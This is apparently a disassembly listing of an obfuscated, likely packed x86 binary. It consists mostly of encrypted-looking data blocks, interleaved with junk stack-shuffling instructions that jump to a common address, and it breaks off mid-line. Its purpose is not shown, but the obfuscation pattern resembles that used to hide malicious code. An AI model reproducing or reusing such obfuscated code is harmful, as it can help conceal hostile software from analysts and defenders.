824D2D39h, 26F0D0DCh, 0C7947480h, 6C351521h, 30B8BAC6h dd 0E4F0965Fh, 8B973D04h, 2D39DFABh, 0D3DF854Dh, 40406F3Ch dd 0F1D4FC9Ah, 0AC75A6E6h, 0EF2BFA06h, 10824FC1h, 6DB36FD8h dd 0D0337h, 0CC94F241h, 0FE4B1A26h, 4E7AB1CFh, 0C81780DBh dd 0BE4A8600h, 1616C54Bh, 439CA4D8h, 0F63738C7h, 0DB8149A7h dd 66E8B00Eh, 4EC94937h, 167FE8DBh, 0CA1A590Ah, 2F8DDB4Eh dd 93F1BE64h, 0E65724CAh, 82532E7Dh, 0B176A5EAh, 50D137D2h dd 1F882EFAh, 0AD75C913h, 4675C207h, 0DB4F203Ah, 6A3F8EF7h dd 929E440Ch, 87CCA035h, 383D7358h, 0A875DED1h, 205FB79h dd 2D1785D5h, 5B2590B2h, 4B47B6h, 86850000h, 0E8B55B28h dd 884D2877h, 13709FE4h, 0B4D13821h, 20483867h, 80E9D502h dd 0B0F55E31h, 0ABDF8552h, 600FDD54h, 8A5FAE06h, 181195Bh dd 4BF967D5h, 5BE2F690h, 16E240B6h, 0FE32A370h, 0D405451Eh dd 5FC71683h, 0C8h, 7AD759Dh, 6D13DC3Ah, 0E77A42A0h, 420F781Eh dd 6A761CE4h, 4F260AB9h, 3EE4ACDBh, 0E48A5232h, 0D3993C17h dd 17E3418Eh, 0ACF32271h, 45D1384Dh, 175B97DCh, 0B2FC280Bh dd 328FA3F2h, 6F15DCA3h, 83C831A2h, 6A10D836h, 0A4EBDB36h dd 95E45D66h, 0F2B09266h, 0E1268FCAh, 6D49BA83h, 7EC2F219h dd 8A009581h, 53BC3F72h, 1969A5EAh, 7C0F46C7h, 98788CDBh dd 0C71129CFh, 6D987FCCh, 1E07A98h, 6F350000h, 12DDBDC9h dd 0B680606Ch, 57240410h, 0FCC5A5B1h, 0A0484A56h, 748026EFh dd 1B27CD94h, 0BDC96F3Bh, 636F15DDh, 0B0D0FFCCh, 81D4FC99h dd 0AC753676h, 0CD2BFA06h, 0FEA46F02h, 20E84695h, 0CD7357Ah dd 0B9031766h, 0D6A2DDF8h, 5382C730h, 0D1382130h, 563A811h dd 8CC8953Bh, 0BA30F533h, 0A2E7501Eh, 19A0D73h, 6CBB24D5h dd 21EC4A97h, 0B821C78Eh, 993A3A69h, 0F746D501h, 57D9ECBBh dd 1F6E2F80h, 3C46B1B3h, 0DBB65BC3h, 0C3h, 354A8619h, 9AF82E18h dd 9D65C312h, 3CC2AF7h, 3300A670h, 5D8C59C2h, 0DB4E3966h dd 0D6E28850h, 0BB882EF6h, 0A046106Eh, 5AB75D3h, 63724D9Ch dd 0A95C409h, 0E7D13762h, 0C015727Eh, 0EB1A67ACh, 0D500FE95h dd 97E4339Ch, 0F1B4AF68h, 11FE32CAh, 0D40972E7h, 0F8C56B38h dd 70B51E87h, 448CF423h, 3CA5CEB1h, 7942A0EDh, 1EE7C7D3h dd 7655A9ADh, 7E45A518h, 0EE066FD8h, 987ED5ACh, 0CF4D6B40h dd 46000000h, 0EECEDA80h, 91717D23h, 351521C7h, 0D6B6C268h dd 595B670Dh, 93390257h, 3AE0A787h, 0DC824E2Eh, 8228F0D0h dd 0E312DF76h, 0D4FC989Dh, 75498994h, 1AFA06ACh, 0D1A0AC52h dd 3805AB73h, 75B078C7h, 0DC3A07ADh, 0EB48114h, 5B67D041h dd 5095D7FEh, 229DC121h, 8E58B6D1h, 5BAA1BE8h, 0F4521F88h dd 9A7A862Ch, 305F2CD2h, 1DA6E2E9h, 9B7DE755h, 0FDCA703Dh dd 17DF3D8Ch, 2DACF6A6h, 85CABB40h, 6E2C2A56h, 359E07BCh dd 0DB814929h, 72E3B00Eh, 0C8F77A37h, 0BC6F0AB8h, 28DC1079h dd 92C10635h, 0BC6ECDEEh, 0A471DA43h, 53A59F83h, 37862CF5h dd 5F6B11D9h, 956F5490h, 0B8F692F4h, 9D430B69h, 8B2D0h dd 85E30000h, 0FCC413B9h, 0AF758C54h, 16DE3C09h, 7945A370h dd 0E1A806D3h, 47106E3Bh, 0AD76D4A1h, 0FDC3A07h, 743E9C69h dd 0D8A301CEh, 68E86532h, 7103h, 53240C89h, 0C381E389h dd 4, 4EB81h, 1C870000h, 4895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, 78505915h mov eax, 7EA2D5D4h sub eax, edi mov edi, [esp] add esp, 4 push esp mov ebp, [esp] add esp, 4 push ebx mov ebx, eax mov [ebp+8], ebx mov ebx, [esp] add esp, 4 mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- align 4 dd 0B8C62341h, 65289C5h, 0E0FFC503h, 4330BB43h, 2DB90527h dd 7149105Eh, 18F228BBh, 69B0EA60h, 6D14134Ah, 1E031E6h dd 6CB90BBh, 127422A8h, 7B68C7F6h, 44B67823h, 793D4F8Dh dd 6500E929h, 151AD9CDh, 594CE060h, 5F58356Ch, 7CEBC03Dh dd 4FEC1DCDh, 72F22CACh, 764BDE63h, 0AB5AD8h, 130221E0h dd 13658950h, 73FAAA83h, 5E360AE8h, 3DA917E6h, 3F9082A9h dd 146835A1h, 29FB87h, 2C4997F9h, 5059D357h, 7D6B6CB2h dd 12E8h, 12200400h, 1685835Bh, 567FFDDDh, 204016FEh, 6636EA7Eh dd 805EDA8Bh, 0C6818CC2h, 5B29h, 9BBF60B3h, 0FF000016h dd 0BF0F5136h, 0F5958D0h, 82h, 0A3C18100h, 80078B6Fh, 0E981C4D4h dd 22020644h, 128B0Fh, 0DE90000h, 0E8000000h, 93537775h dd 1388F3C4h, 0E5AA5C95h, 54D1C181h, 8C0F6149h, 0Ch, 6840Fh dd 870F0000h, 0 dd 0F58A0E89h, 0C451EE81h, 7E91DE8h, 0E3000000h, 9A77F694h dd 0C6811704h, 1DE8C44Dh, 0F4FFCB7h, 1185h, 0E9EEB000h dd 22h, 0BEB437BFh, 7D5E50Dh, 0B70FDB3Fh, 0FF75E9DBh, 18ECFFFFh dd 0BB9C7B19h, 76F6B5DEh, 40732A63h, 4EB62A7h, 31EE2714h dd 5F9E9h, 0B45A2000h, 57FDC8A8h, 0FBA16B4Bh, 9C420FEFh dd 41E7B090h, 0DCBD3335h, 81616D13h, 280814BAh, 0CAAAB65Ch dd 0B9505C02h, 95C3BDECh, 636ED4FCh, 7AD7523h, 6D13DC3Ah dd 69349261h, 2F85F6C3h, 81F2BF65h, 660CD432h, 25EE4C99h dd 8D54B27Fh, 0D12F7EE7h, 38966309h, 84FAC76Dh, 0F3BB2E16h dd 6BCC084Dh, 0C8B8E756h, 69DB4EC8h, 1F53CC00h, 58384C9Bh dd 110C1B8Ch, 7AF1D437h, 0D8360511h, 2899660Ch, 9AF7BD9h dd 9517DE3Ch, 4E821A66h, 7AAE17DBh, 582AA659h, 9C69D2D2h dd 1CE743Eh, 6431D7A3h, 21C480EEh, 2D46AF55h, 94EC1B68h dd 23DB4E42h, 4E428CF4h, 713CA5DBh, 0ECBD973Dh, 74DDB64Dh dd 588BB925h, 0FADAE68Ch, 0FF81B032h, 32DB4E46h, 0BD1B60C9h dd 0D6054AF0h, 0DB4E46AAh, 0FACF1E87h, 4E46A8CBh, 0EE563CDBh dd 169853F3h, 7E88B0h, 75C60000h, 0B3A07ADh, 0DB4F2077h dd 0A17AB67Dh, 52728296h, 63E14D9Ch, 0C46A3391h, 693086F7h dd 740E74C3h, 0A3B01674h, 18h, 0E9B10F5Ch, 0F6641C43h dd 7542DB4Eh, 679B04CFh, 0DAFD7942h, 0FDC5141Fh, 0BF04AA75h dd 0A85BB783h, 4F85BFh, 6F02CD2Bh, 0E83502A8h, 4EFEC7B9h dd 98016ADBh, 5D27842h, 5E2B94h, 4AC08D33h, 0AA7568DCh dd 7083BF04h, 0E552D3C3h, 755569B8h, 0B1FB07ADh, 3906AC75h dd 1CC28EECh, 318FDE4Fh, 1D7BC066h, 895EAD53h, 0CE313399h dd 0BC1A5F05h, 0D7E4BF1h, 0AD6096D9h, 3A894281h, 0D7E4626h dd 460F7E3h, 0B481EAC3h, 19E68C56h, 814EF4BBh, 0E8B55B23h dd 37AA9A00h, 8CFDCA70h, 1B49B723h, 0FD15BDF9h, 0A1D57B48h dd 3887C087h, 1688A0D2h, 8F57B0h, 75950000h, 0DB3906ACh dd 289E6B11h, 2C688ABAh, 77A64B6Ch, 0DB4EDE09h, 688BBF28h dd 0F957A6A0h, 0AF7E8A30h, 13E08651h, 38E997C6h, 0DF48DB4Eh dd 0C92776h, 622F8D5Ah, 0C491EFBCh, 29F3511Eh, 60C6B683h dd 1482EEE4h, 0A88DA550h, 5C2AB016h, 68000000h, 3906AC75h dd 1BC18EECh, 308EDD4Eh, 93F1BE64h, 0F55320C6h, 49BA872Dh dd 0BCB526F3h, 0EED483EEh, 0A8E4B11Ah, 9D117B4Eh, 278D6D2Ch dd 0DBA8B73Dh, 4310B67Dh, 2D1783D2h, 3F4BF1BAh, 4AA75F5h dd 206B0837h, 9379DB4Fh, 18E13FD1h, 0E534A572h, 1642E77Fh dd 114B0h, 86520000h, 0E8B55B28h, 0CA2877h, 672F8D5Ah dd 0FC650BD4h, 0EC9259B7h, 0C3A7C89Dh, 0EE945E81h, 34EE6DA9h dd 6BEFC335h, 2AAB081Ch, 96EA1966h, 9BDB4E87h, 87750B32h dd 53BCDB4Eh, 0AB69A5EAh, 0A1F4D83Fh, 0A384A08Fh, 95FEAF10h dd 0ADCAF946h, 0FAD1374Bh, 622FD59Ch, 2ED49BF1h, 0CEA1F061h dd 723A9865h, 18E0C0CCh, 4196796h, 0AF18D501h, 384A7946h dd 0B5D50103h, 0A0689BC9h, 460EEEFAh, 141F5BA0h, 1DDA2F51h dd 0FF4C2170h, 25803AC3h, 0EC3BCBB3h, 5320C68Eh, 0F1BE1C63h dd 118C2E80h, 30992651h, 2DCF75E1h, 956208CFh, 18D5F024h dd 61DCCDAAh, 46ECB412h, 882F6B3Ah, 0A6E4DBA5h, 8D95FB4Ah dd 45B6589Dh, 0A8751BE7h, 0BDC3F237h, 74D5004Dh, 7D54BC0Bh dd 92000001h, 0BA602886h, 522D7CEDh, 57A4E983h, 986D871Bh dd 0F140B2EAh, 3746C9C2h, 0E6B00ED1h, 0B51EF140h, 1CC28AE8h dd 0D5683010h, 4810660Ch, 0FB64D5A2h, 8608D02Eh, 1052957h dd 369F08D5h, 0C21DB5F1h, 345E2251h, 6AD3D500h, 48A1A636h dd 0FCC624F9h, 5E2B8956h, 0C08DEBB8h, 98CC321Ah, 40046A52h dd 232FD59Dh, 58AE2B3Bh, 72D0B6h, 0F80E0000h, 68F8BFE2h dd 0DEF4506Bh, 85E33075h, 96C514BAh, 0DB4E6EBAh, 0CF754197h dd 1D4C9102h, 0DB4E6C63h, 2FFC65CEh, 2628A6E2h, 8DC5A157h dd 8E57B59h, 58A7DE67h, 4E785729h, 0E55FC5DBh, 0F8455585h dd 4E78B7C9h, 0EA117ADBh, 0DB4E7896h, 84C9329Bh, 4E7AFB55h dd 0A8ED56DBh, 78542C5Bh, 74DDDB4Eh, 7880002Fh, 48B1DB4Eh dd 9D45E5F9h, 0FB000000h, 4A8FDDF8h, 384FEC1Bh, 1FEC55D1h dd 4877F9C1h, 0D501F138h, 0F130507Fh, 9801D501h, 0EFFB64CDh dd 51F7C220h, 78083784h, 0B9D501F0h, 0C991E750h, 0AE76D423h dd 690C3B08h, 74D501F1h, 9A5A6BA7h, 716F7925h, 6C8EB622h dd 0CC9D7730h, 8EDD1E0Dh, 7DC26830h, 0BD86C641h, 98E7AD47h dd 0F3AE2784h, 2E7C72A3h, 0AFD1004Dh, 82D501E7h, 247B019h dd 8047DAA4h, 339C0DDAh, 3A6897E4h, 0B7CAD574h, 85EE9461h dd 0EC925AB8h, 2A1AFE1Fh, 19E49B3Ah, 96C50A73h, 0C482E90Ch dd 26707CE5h, 4A8FDDF8h, 5282C1FDh, 0EE73FCE1h, 9B32709Fh dd 56BFD122h, 0C0EF3C89h, 0D4FC83C0h, 5BB90871h, 1E1ED93h dd 97C69339h, 0FA363B04h, 7568DC4Ah, 2CFB07ADh, 0CDD0B0DFh dd 0ED69D3Fh, 0E5349D68h, 4C19BF87h, 0AE7B21EEh, 48BBA98Dh dd 0EECEDA80h, 95B38026h, 3, 758C544Bh, 0DE3C09AFh, 45A37016h dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh dd 0A301CE74h, 0E86532D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push esi push eax mov eax, 58CF0DB3h neg eax and eax, 6B564729h shl eax, 1 xor eax, 40720FB9h mov esi, eax pop eax mov ebx, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push esi push ebp mov ebp, ebx mov esi, ebp pop ebp mov [ecx+8], esi pop esi mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- dd 54BE3DCFh, 2B8BA88h, 3065291h, 8BE0FFC5h, 0D0788359h dd 0B72C962Ah, 2C6BFE1Eh, 8D692BD2h, 52927C8Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8B57A842h, 4D0501B5h, 0B52B5A06h, 64D1231h, 5998D89h dd 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD0B68C3h, 64D2835h, 51D85C7h, 69D8064Dh dd 0B8660000h, 85C7A60Dh, 64D02E9h, 0 dd 6830Fh, 9D230000h, 64D0F45h, 2D19B5FFh, 0BD8B064Dh dd 64D0B8Dh, 476CBE66h, 2E5595FFh, 6A064Dh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0B069FEC3h dd 54C25789h, 6AA439FCh, 1195FF00h, 8B064D05h, 6679EBC0h dd 40FB2756h, 0F2308E5Fh, 0BDF1EED5h, 4EEF18B2h, 0F07499A9h dd 76072635h, 486C7DC2h, 7243AA2Ah, 2721AB47h, 3B5EA79Ch dd 0ECE32A33h, 3C21BE00h, 59908A2h, 60074013h, 51130426h dd 89CAFFEAh, 0C4A66C9h, 0DFA61F50h, 9169F162h, 9ADA1409h dd 0B6350049h, 94B748CFh, 17184A0Ah, 497BC23h, 0CFB18B32h dd 0D676039Dh, 431AFD46h, 23B7ED62h, 0D6ADC39Ch, 2036AD23h dd 2DEBh, 0DD00000h, 319CBFAEh, 0ADF9DFF2h, 8C88A7A5h dd 0B7FB7552h, 0F99CBE00h, 937EE5ADh, 68009D89h, 14672681h dd 903B2BDh, 0E9338B53h, 0B16h, 52943C68h, 0EC8BE906h dd 0E968FFFAh, 0E9065295h, 0FFFAEC81h, 5296F268h, 0EC77E906h dd 0C468FFFAh, 0E9065297h, 0FFFAEC6Dh, 52988668h, 0EC63E906h dd 7B68FFFAh, 0E9065299h, 0FFFAEC59h, 529A5568h, 0EC4FE906h dd 0EF68FFFAh, 0E906529Bh, 0FFFAEC45h, 529CCB68h, 0EC3BE906h dd 37FDFFFAh, 0DAA58591h, 7E482834h, 1FECCCD8h, 0C48D6D79h dd 9810121Eh, 3C48EEB7h, 0E3EF955Ch, 85913703h, 2B37DDA5h dd 0E898C794h, 49D4FC8Dh, 3986FE3Eh, 4F20760Ah, 0FC52BBDBh dd 4BBC892Fh, 0B8B421FCh, 0A3491573h, 3FD80754h, 28D122B5h dd 0A59FFCAh, 2B89CE37h, 0D1B1BD63h, 0BB966309h, 0DE0D521Ah dd 0CAD02096h, 0C369358Bh, 0EFB7155Ah, 0C9C80449h, 0EE4FB654h dd 6EBBB130h, 50B95835h, 450DED01h, 2785D29Fh, 0D3ADDC5Eh dd 5ECEA9F2h, 4EBF8CF5h, 0CEB124FFh, 23946107h, 414675BAh dd 0C49316h, 703DE3AAh, 0B77E96FFh, 578611A7h, 9656482h dd 0EBB10000h, 8E593945h, 32FCDCE8h, 0D3A0808Ch, 7841212Dh dd 2CC4C6D2h, 0F0FCA26Bh, 97A34910h, 3945EBB7h, 0DFEB9159h dd 344C7B48h, 0FDD4FC8Ch, 3986B2F2h, 4F20760Ah, 4776BBDBh dd 0DB4F2039h, 0D7268FF8h, 3E0BB179h, 679618E0h, 0DB4F2119h dd 50F6C218h, 40A91283h, 6EFED734h, 0B57EDC29h, 2506420Fh dd 0AFE81E2Eh, 0C7C5F962h, 7473BCE8h, 0AE1D4C9Bh, 29D1380Ah dd 0DCF941EDh, 30A16E14h, 0C2188CFCh, 2EFBA16Ch, 329B6EBDh dd 923E3665h, 0F342D501h, 9CD3C3B7h, 0E938D1D2h, 0D735C77Dh dd 2798650Bh, 80D072D8h, 4907B65Bh, 45000000h, 0D7A2DDF8h dd 4783C831h, 824A1AF3h, 13EBA8DCh, 98C71463h, 0D137ABEBh dd 6CA8ED56h, 0B034D7EFh, 0BB20734Ch, 6DE3FA2Eh, 0B4E3B807h dd 0D50206C0h, 0E71252C0h, 0B65B585Fh, 651B4A97h, 0CCD50212h dd 0F1AC1463h, 0EA000000h, 0DF612886h, 4F20D0B0h, 8FF861DBh dd 741AE240h, 0CDB3E22Fh, 64DB4F20h, 8AD7ACFBh, 6AB95F2Ch dd 589D430Ch, 0BC892FFAh, 0C927FC4Bh, 308E5B01h, 0E7B6C268h dd 0E519BF89h, 0D9169369h, 0B7E6354Fh, 0DB4EE4C0h, 0EF4AABE7h dd 29B33415h, 7BECB95Fh, 9D65C312h, 50F6BD1Bh, 4E455729h dd 0E2884FDBh, 3945AE17h, 35FE9159h, 0E851C28Fh, 0D795401Bh dd 0C56B3492h, 0EB3887F8h, 376C33BCh, 6975DED1h, 5EA3C90Ch dd 46ECB311h, 46F53D79h, 0C43424Ah, 6A2554A3h, 0E7CAF18Ah dd 12DB397Eh, 0ABDA276Ch, 0CEB11CD5h, 90A4F35Ch, 2941E7B0h dd 987DF04Ch, 0B80523F8h, 5E000007h, 6E6F298h, 0A989953Bh dd 4D2D39DFh, 0EECEDA80h, 71737F25h, 0AB511A7Fh, 52F8BF9Fh dd 0F49A6646h, 9A4008E8h, 0FB2AF78Eh, 0D4FC8B85h, 7561A1ACh dd 1AFA06ACh, 56A0AC52h, 4A8FDDF8h, 2FD59FFDh, 20D2B1E0h dd 0B9F5D138h, 0A609613Ah, 235D8CF1h, 0ED5016Ah, 1AED3CA5h dd 3997E4B1h, 0A470C66Ch, 0F480AFFEh, 0A2D50169h, 96734DAh dd 0E5CD9A40h, 0A30FC57Fh, 0B2D40F35h, 69B65BF5h, 0E8h dd 0DB3986A7h, 3A466D13h, 0F7DB4F20h, 19E13F8Eh, 7F48A673h dd 693694D9h, 3685F6C3h, 0E9D81461h, 0C8276AAh, 492E5DACh dd 4DDB4EA8h, 0ACD40385h, 85DB4EA0h, 106EB31Ch, 5FD09D43h dd 541CFC10h, 0CF06E1AEh, 0C629589Dh, 4BD137C6h, 5C79D6E2h dd 0E49CCB10h, 0D3CAF22Eh, 3603A975h, 3AA376C5h, 29CF97F5h dd 662F8DDAh, 0FE9708D3h, 4BBB2160h, 1C61CA33h, 0FE4DF3BEh dd 9B410AEAh, 7EA8AC83h, 55734898h, 6AFh, 0EFFBA167h, 929E440Fh dd 3642E8B2h, 0D7E38956h, 7C882EF7h, 5821767Ah, 0FFC6A6B2h dd 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FC8A7E02h, 68A8B3D4h dd 0B95F2886h, 0CE2C7BECh, 0CD1A5F05h, 4F20E29Eh, 97E64FDBh dd 967B483h, 59CA973Dh, 4F204E32h, 18AFE3DBh, 0B4F6BD1h dd 0C52372DBh, 14B57FDh, 0CD602886h, 1E8F5C02h, 6C9BE8B5h dd 0DB4F2114h, 0FC4BB41Dh, 7B43D69Eh, 419F6CD5h, 63500879h dd 32BF40D3h, 4E597D03h, 0E24BB4DBh, 0B8BC6D79h, 61DB4E59h dd 84B3F874h, 0D121ED0Dh, 324E7DCAh, 0FFD4FBC6h, 0B744796h dd 0FAA068C6h, 0A0460EEEh, 8FDDF8D3h, 0B2CEFD4Ah, 7FD4FBC6h dd 4B7AC716h, 0CAE4D4C4h, 1B0C248Dh, 0C798439Ch, 5DDD4F2h dd 73390000h, 16E1C1CDh, 0BA846470h, 5B280814h, 0C9A9B5h dd 0A44C4E5Ah, 78842AF3h, 1F2BD198h, 0C1CD733Fh, 677319E1h dd 0ACD403D0h, 85D4FC89h, 0AD753A7Ah, 14DC3A07h, 4BB1A16Eh dd 781EE619h, 783F9D6Ch, 0A8C905D2h, 8FF975Ah, 0E3D82EBh dd 0DB4E7972h, 0A10756BFh, 0B016E581h, 8228F351h, 0ECB95F2Ch dd 21C42C7Bh, 7D000000h, 0B105D241h, 166577C5h, 17FB54Eh dd 99E60000h, 4F21166Ah, 0A1E71BDBh, 0B140E2A7h, 2AF241AAh dd 4F20D0A4h, 0F38C49DBh, 46B7842Ah, 157E24F0h, 0B3DBA1D0h dd 0ED56D122h, 0DC824AA8h, 8228F0D0h, 71FBDAB5h, 9C12FD2Ch dd 0D63FCAE5h, 7C55DFBEh, 7C9A6F98h, 51Bh, 838F35FBh, 2632D8A3h dd 0CAD67C46h, 6B771DEAh, 101CC28Bh, 0ECB59A0Eh, 935A3A46h dd 3501E1EDh, 0DBA3838Fh, 0C5922935h, 0FC88EA96h, 0FC3C47D4h dd 0B95F2886h, 1EC48EECh, 400866B5h, 8A51E4ADh, 45127BE4h dd 0AC791FE7h, 4F1775BCh, 76EE5AA9h, 0E025CB93h, 0F4054FA4h dd 8EDD964Dh, 0B0F0927Ah, 1627B016h, 65000000h, 0C8B5h dd 0BC88E600h, 0CDFC4916h, 0DB4F20B3h, 5DAC157Eh, 5C288695h dd 498C67B6h, 68AFDE23h, 79D122B5h, 0A56DCB10h, 0D77EBAFFh dd 0B65C265Bh, 844478E9h, 6A10DD01h, 74C32C9Dh, 12B88060h dd 16B6A45h, 6E78DBCh, 62C0CAD0h, 0D3A6F59Bh, 0E1215F8Eh dd 0DC10CEA9h, 629F6384h, 0F65FC826h, 0E58B53B1h, 8B31F9D9h dd 0F52471BEh, 0CEA99E8Bh, 0E3AE541Bh, 85502B7Ah, 1473A2E7h dd 2DC492C3h, 52E7ACC4h, 7E538611h, 42660h, 842AF000h dd 27CD9878h, 0CB713B1Bh, 6C12DFBFh, 11B78060h, 0ACED0305h dd 51313DE3h, 0F8D8E48Ah, 9A7A862Ch, 89202CD2h, 87F38DBCh dd 333ED4FCh, 12CB5F3h, 99E60000h, 4F21166Ah, 63B21BDBh dd 8FDDF89Bh, 0B4FC1B4Ah, 8FE5D122h, 0AAD91EC4h, 0D4FC8DD6h dd 4489F25Bh, 0C03EBBF7h, 24152A21h, 3EAF77D5h, 0CA78A907h dd 0EBF76097h, 0E4B0430Bh, 0A7600A3Eh, 9906B5DFh, 0B8166330h dd 3F7B48EEh, 18AA57B9h, 5AA91296h, 0D116567Fh, 8C91F795h dd 5D2A60D7h, 0B2FF4EB7h, 0D064F183h, 4EFC30CAh, 63A931C9h dd 0B3CDFC41h, 7ECEAAFCh, 967AC15h, 0AF8F9B41h dd 277441E7h, 165B01C9h, 0AAFC99E7h, 0E02F98CEh, 579CD005h dd 94205F28h, 6179E2C4h, 8612BCD6h, 4C0B29FEh, 0CA000003h dd 72525E04h, 15F501A7h, 0B999A54Bh, 5A3A46ECh, 0DDDFEB91h dd 17BD86CBh, 0BE642B0Bh, 6006D2B2h, 6AC7454h, 679663FAh dd 0D4FC8719h, 75CD0D18h, 0DC3A07ADh, 0B1A16E14h, 1EE6194Bh dd 0E2846C78h, 19B01642h, 3Eh, 8FDDF857h, 6E441B4Ah, 44ADD138h dd 33D9A1FFh, 6F3997E4h, 592684C9h, 9F5064B3h, 0D501D2D4h dd 4854FAC2h, 0ED1C9E68h, 0D501D293h, 562A599Eh, 0DBD501D2h dd 0D3A00972h, 2C6B5h, 0A9756B00h, 9760BE03h, 209AE615h dd 2E97DB4Fh, 43A176C5h, 0E9C9D57Bh, 50AE7B21h, 7D6E288h dd 6C39DFA9h, 4D1ACFBh, 0D7F42368h, 7AD1383Ch, 5F154411h dd 37D50204h, 9BF9C66Ch, 775F2CD2h, 319D5311h, 0CC5681C3h dd 6B65B22h, 0E837DDA8h, 4180h, 0EDB3900h, 733D9B68h, 4D1564CDh dd 4A8FDDF8h, 3820681Bh, 2B70D9D1h, 8E5B01CDh, 8783E91Dh dd 0D6FE18C0h, 0F183B287h, 8FD5016Eh, 95D12321h, 1D401623h dd 187ECDA3h, 0B65B490Eh, 0BEADh, 0AD75EB00h, 9D64C207h dd 6AB92AF7h, 0B0C4895h, 8329F666h, 382BF24Fh, 1CC28BE9h dd 8329F14Fh, 0EA9058B6h, 67D30FDEh, 9DEBF8BDh, 0F285B403h dd 0A4DB4F1Ah, 4A2A36DCh, 8127EF82h, 22ED43B4h, 6B46137Ch dd 81BD026Ah, 136445FFh, 7FCC1B66h, 382A4F50h, 2D39A2D1h dd 226705D0h, 7AD77D5h, 7F6F89B8h, 0DA38CAF2h, 491C6B11h dd 743D9BE0h, 19E2C2CEh, 0E5C25B73h, 19EE987Eh, 1B2FBh dd 0F89E6400h, 9B410CECh, 3FE5AF8Fh, 0E0865333h, 852BF4D4h dd 20717779h, 0C5A5B157h, 6C4C58FEh, 0EEEFAA0h, 0FD94A046h dd 857F0130h, 0A7B2D4FCh, 5F288667h, 430C6AB9h, 0E9B1919Dh dd 0F8ED3743h, 1B4A8FDDh, 0D1382068h, 74A370D9h, 0D5022100h dd 8D33180h, 0D5249562h, 0DD19FB69h, 6D673AB8h, 6FB7160Bh dd 919F5F93h, 4CD63C8Bh, 6BB65BB7h, 0B3h, 7AD75A9h, 6D13DC3Ah dd 250671A0h, 43A1DB4Fh, 9708D57Bh, 7C22EA48h, 22C89070h dd 6FCC0855h, 0BF9FF4B2h, 0E88E59AFh, 5517BE99h, 63BEE110h dd 0CA33D137h, 0F87461BEh, 925A77B3h, 78CA7625h, 6AADDC29h dd 77CAF118h, 45AE5421h, 77B300h, 9D776373h, 0FDC62473h dd 0A26B4B57h, 0FD41E4FCh, 986D987Dh, 0D67Ah, 0D47A4000h dd 771DE8C8h, 1BC18B6Bh, 0BC622F0Fh, 6107D0B0h, 0FC5D5355h dd 0A1818D33h, 482834DAh, 0EACAD67Ch, 0D9707C22h, 84A3DD0Ch dd 838ED4FCh, 704A8643h, 6A59EF91h, 2CD29FF5h, 10B67FDDh dd 0CD73504h, 0F1B91766h, 75F53F4Bh, 0DC3A07ADh, 5626E14h dd 9C27D1D0h, 39D8113Ch, 544F8BD0h, 0D0CCFBEh, 174693E2h dd 0D1221208h, 55B380E9h, 55A2E78Dh, 0FBEA5A26h, 186ED7D4h dd 6CDDAA50h, 6129091Dh, 91BFEEBBh, 1D0052B9h, 8A52B5AFh dd 30F8D8E4h, 2150D29Dh, 9F221D5Fh, 970069D2h, 0F99F6CCAh dd 0E8460B2Ch, 0C02C7B21h, 6996184h, 58C9963Ch, 30E6F324h dd 0B21BED13h, 58FEC6A6h, 116D8Bh, 629E0000h, 0D5A73578h dd 3A035936h, 756C794h, 758C543Fh, 0DE3C09AFh, 45A37016h dd 0A806D379h, 106E3BE1h, 76D4A147h, 0DC3A07ADh, 3E9C690Fh dd 0A301CE74h, 0E86532D8h, 553768h, 240C8900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 68240489h, 728Fh, 51241C89h dd 17094B9h, 0E907B80Dh, 0C829275Bh, 0D8F74859h, 52F4062Dh dd 1C8B54DFh, 4C48124h, 81000000h, 4ECh, 24048900h, 0FF08438Fh dd 815B2434h, 4C4h, 24048B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546EAD ; --------------------------------------------------------------------------- db 49h, 8, 0C6h dd 11CE06FEh, 1ED07C36h, 0C6B803F7h, 306529Dh, 0CE0FFC5h dd 1B347F8Eh, 0AC13E3C6h, 912B5406h, 0E9308F2Ch, 1C8h dd 8 dup(418888h), 4 dup(0) dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h dd 0 dd 600h, 4444h, 41h, 11111111h, 44444444h, 0C9880299h dd 100203h, 118888h, 88888888h, 11111111h, 1644h, 2 dup(88000000h) dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2 dup(0) aIiiiiiiiaiiiii db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0 aIssi db 'ˆ™™ˆ',8,0 db 2 dup(0), 88h aDdddddddiiiiii db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0 aAs db '€™',0 dd 88998000h, 88888888h, 88888900h, 89998888h, 0 dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h dd 8888888h, 3E362E26h, 67666564h, 0F3F2F0h, 0 dd 0FFFFFFFFh, 4016E6h, 4016FAh, 2 dup(0) dd 1, 14h dup(0) aAcawu db 'Àcíwu',0 align 4 dd 1, 11h dup(0) dd 353E9h, 0E85500h, 